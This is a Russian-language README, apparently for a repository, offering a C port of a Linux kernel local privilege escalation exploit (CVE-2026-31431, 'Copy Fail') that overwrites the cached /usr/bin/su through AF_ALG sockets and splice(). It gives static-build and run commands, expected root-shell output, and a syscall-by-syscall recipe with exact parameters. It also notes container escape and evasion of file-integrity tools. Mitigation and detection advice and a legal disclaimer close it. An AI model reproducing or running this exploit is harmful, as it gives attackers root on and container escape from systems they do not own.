
C-based local privilege escalation exploit for CVE-2026-31431, a Linux kernel vulnerability in the AF_ALG crypto interface, providing root access via page cache manipulation.
Copy Fail (CVE-2026-31431) — это логическая уязвимость в ядре Linux, позволяющая локальному непривилегированному пользователю повысить привилегии до уровня суперпользователя (root). Уязвимость относится к классу Local Privilege Escalation (LPE), не требует сложных условий эксплуатации (таких как race condition или подбор адресов в памяти) и работает "из коробки" на большинстве дистрибутивов Linux, выпущенных после 2017 года.
Данный репозиторий содержит порт оригинального Python-эксплойта на язык C с подробными комментариями, пригодный для статической компиляции и использования в минимальных окружениях.
Уязвимость возникает из-за логической ошибки в криптографической подсистеме ядра Linux, связанной с обработкой AF_ALG (интерфейса криптографического API ядра) и механизма страничного кэша (page cache).
Ошибка была внесена в 2017 году при добавлении оптимизации, которая убрала лишнюю буферизацию через выполнение операций блочного шифрования AEAD (Authenticated Encryption with Associated Data) по месту (in-place). Из-за некорректной обработки границ буферов в алгоритме authencesn (часть криптографического шаблона AEAD) возникает запись 4 байт за пределы выделенного буфера, что приводит к повреждению структур управления страничным кэшем.
В результате ядро может записать данные обратно в страничный кэш файла, даже если он был открыт только для чтения (O_RDONLY).
AF_ALG и инициализирует AEAD-алгоритм authencesn(hmac(sha256),cbc(aes)).setsockopt() устанавливаются аномальные параметры:
sendmsg() с control messages инициируется операция расшифрования.splice() перемещает данные из целевого файла (открытого O_RDONLY) в крипто-сокет.authencesn страничный кэш файла повреждается, и "расшифрованные" данные записываются обратно в кэш.root.Уязвимые дистрибутивы (при использовании ядер с загруженным модулем algif_aead):
Особая значимость: в контейнерных средах (Docker, LXC, Kubernetes) процессам внутри контейнера по умолчанию доступна подсистема AF_ALG, если модуль algif_aead загружен в ядре хоста. Это создаёт риск нарушения изоляции контейнера и получения контроля над хостовой машиной.
Проверка уязвимости:
# Проверить, загружен ли модуль algif_aead
lsmod | grep algif
# Проверить наличие AF_ALG в ядре
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
Оригинальный эксплойт был написан на Python (≈732 байт). Данный порт на C имеет следующие особенности:
libz.strace).recv() — предотвращает зависание, повторяя поведение try/except из Python.Ключевые отличия от Python-версии, выявленные при портировании:
# Требуется libz (zlib1g-dev или zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
При успешной эксплуатации будет запущена пропатченная версия /usr/bin/su, предоставляющая root-доступ без запроса пароля.
Ожидаемый вывод:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su открыт
[+] 40 чанков
[*] 40/40 ок
# id
uid=0(root) gid=0(root) groups=0(root)
Ниже приведён детальный разбор каждого шага эксплойта с указанием соответствующих системных вызовов:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
Создаётся сокет для доступа к криптографическому API ядра. Алгоритм authencesn (Authenticated Encryption with Sequence Numbers) — это составной AEAD-алгоритм, использующий AES-CBC для шифрования и HMAC-SHA256 для аутентификации.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 нуля), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19нулей), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3нуля)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
Создаётся соединение для операции. Через sendmsg() с control messages (CMSG) устанавливаются параметры:
ALG_OP_DECRYPT = 0).Все эти аномалии создают несоответствия в управлении памятью ядра.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice() — системный вызов для перемещения данных между файловыми дескрипторами без копирования через userspace. Данные перемещаются на уровне ядра через механизм pipe.
splice(target_fd -> pipe): данные из целевого файла (/usr/bin/su) попадают в pipe.splice(pipe -> conn_sock): данные из pipe поступают в крипто-сокет как "зашифрованный текст".Ключевой момент: в Python (и в данном порте) смещение для pipe передаётся как NULL, что позволяет ядру автоматически управлять позицией.
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
Вызов recv() заставляет ядро завершить криптографическую операцию. В нормальном режиме здесь вернулись бы расшифрованные данные, но из-за аномальных параметров возвращается ошибка EBADMSG (Python) или EAGAIN (C с O_NONBLOCK). Ошибка игнорируется — повреждение страничного кэша уже произошло на этапе splice().
Страничный кэш (page cache) — это кэш содержимого файлов в оперативной памяти. Когда процесс открывает файл через O_RDONLY, ядро разрешает только чтение из этого кэша. Однако уязвимость позволяет обойти это ограничение:
write(), но splice() работает на уровне страничного кэша напрямую, минуя эти проверки.Изменения происходят только в оперативной памяти, а не на диске. Это делает атаку труднообнаружимой стандартными средствами контроля целостности. После перезагрузки или очистки страничного кэша следы атаки исчезают.
Обновить ядро Linux до версии, содержащей исправление.
Отключить модуль algif_aead:
# Запретить загрузку модуля
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# Выгрузить модуль (если загружен)
sudo rmmod algif_aead
Дополнительные рекомендации:
AF_ALG через seccomp-профили./usr/bin/su на диске?Нет. Изменения происходят только в страничном кэше (оперативная память). Содержимое файла на диске остаётся неизменным. После перезагрузки системы страничный кэш очищается, и файл возвращается к исходному состоянию.
Обнаружение возможно через:
auditd, strace).AF_ALG сокетов.Стандартные средства контроля целостности (AIDE, Tripwire) не обнаружат изменений, так как файл на диске остаётся неизменным.
Данный код предоставляется исключительно в образовательных и исследовательских целях. Автор не несёт ответственности за любое использование данного кода в противоправных целях. Использование эксплойта без явного разрешения владельца системы является незаконным и может повлечь уголовную ответственность.
Используйте только на системах, которые принадлежат вам, или на системах, где вы имеете явное письменное разрешение на тестирование безопасности.
| Компонент | Описание |
|---|
| Ядро Linux | Все версии с 2017 года до момента включения исправляющего патча |
| Подсистема | crypto (модуль algif_aead) |
| Интерфейс | AF_ALG — пользовательский доступ к крипто-API ядра |
| Системный вызов | splice() в связке с сокетами AF_ALG |
| Параметр | Python | C (этот порт) |
|---|
Флаг sendmsg() | MSG_MORE | MSG_MORE |
Флаг splice() | 0 | 0 |
| Смещение в pipe | NULL | NULL |
| Размер ключа | 40 байт | 40 байт |
cmsg_len | 20/36/20 | 20/36/20 (жёстко) |
| Создание pipe | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Блокирующий с try/except | Неблокирующий (O_NONBLOCK) |